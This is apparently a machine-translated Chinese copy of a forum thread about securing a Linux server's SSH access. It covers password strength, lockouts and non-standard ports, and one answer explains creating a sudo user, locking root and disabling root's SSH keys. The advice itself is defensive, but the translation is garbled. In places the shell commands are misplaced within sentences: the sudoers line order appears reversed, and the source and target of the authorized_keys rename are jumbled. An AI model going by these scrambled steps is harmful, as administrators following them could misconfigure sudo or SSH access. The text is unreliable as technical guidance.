16个字符不够安全。用户注销也很方便。只是不要使它成为烫发锁定,使其过期,而是使其像一个小时一样。这样,您仍然可以访问服务器。

–猎犬
16年2月2日,0:17



请注意,只要您具有强身份验证(公共密钥或强密码),对于安全性而言,步骤2)并不是严格必需的。

–user253751
16年2月2日,0:17

@Ramhound为什么不呢?即使只是小写字母,也有16个小写字母为43608742899428874059776提供了可能性,这对于暴力破解是不切实际的,尤其是对于在线暴力破解而言,服务器会在每次尝试失败时让您等待。

–user253751
16年2月2日,0:18

@ user20574。尽管并非绝对必要,但降低SSH服务的可见性仍然非常有帮助。即使仅出于消除日志混乱的原因。如果仅一小部分人员需要访问机器,则非标准端口是提高安全性的完美步骤。

–user1751825
16年2月2日,0:26



#9 楼

设置前置Linux / Unix服务器后,任何人/每个人应该做的第一件事就是立即禁用root

您的系统已受到破坏。您有一个正在运行的历史记录日志,从某种程度上看可能很不错。但坦白地说,具体细节有些挑剔,并且不会帮助您保护服务器。它显示了当僵尸网络产生恶意软件(很可能是感染服务器的恶意软件)感染Linux系统时发生的各种废话。 @MariusMatutiae提供的答案很好,经过深思熟虑,还有其他人重复说您是通过root访问被恶意软件/僵尸网络的梦dream以求的。

有一些解释如何禁用root,但我会根据个人经验进行说明,大多数超出我现在要描述的内容都是过大的。这是您在首次设置服务器时应该做的事情:



创建具有sudo权限的新用户:创建具有新名称的新用户-类似于cooldude -如果您使用的是Ubuntu或其他类型的Debian系统,请使用类似sudo adduser cooldude的命令。然后,只需使用类似sudo的命令手动编辑sudo nano /etc/sudoers文件,并在应读取cooldude ALL=(ALL:ALL) ALL的等效行下方添加类似root ALL=(ALL:ALL) ALL的行。完成此操作后,以cooldude登录,并使用诸如sudo之类的命令(基本和非破坏性的命令)测试sudo w命令,以查看sudo权限是否有效。可能会提示您输入密码。这样可行?都好!进行下一步。

锁定root帐户:好的,现在cooldude拥有sudo权限,请以cooldude登录并运行此命令以锁定根帐户sudo passwd -l root。如果以某种方式为root创建了SSH密钥对,请打开/root/.ssh/authorized_keys并删除密钥。或更妙的是,只需将文件authorized_keys_OFF重命名为sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF即可有效地禁用SSH密钥。我更喜欢后一种方式,因为这样一来,您仍然需要较少的密码登录,只需将文件移回原始名称,就可以了。

FWIW,我已经管理好了数十年来(数十年?),有数十台Linux服务器,并且从经验中知道,仅禁用root(并设置具有sudo权限的新用户)是保护任何Linux系统的最简单,最基本的方法。禁用root后,我再也不必通过SSH处理任何类型的威胁。是的,您可能会看到尝试通过auth.log登录,但它们没有任何意义。如果禁用了root,则这些尝试将永远不会累加。只是坐下来,看着尝试不断失败!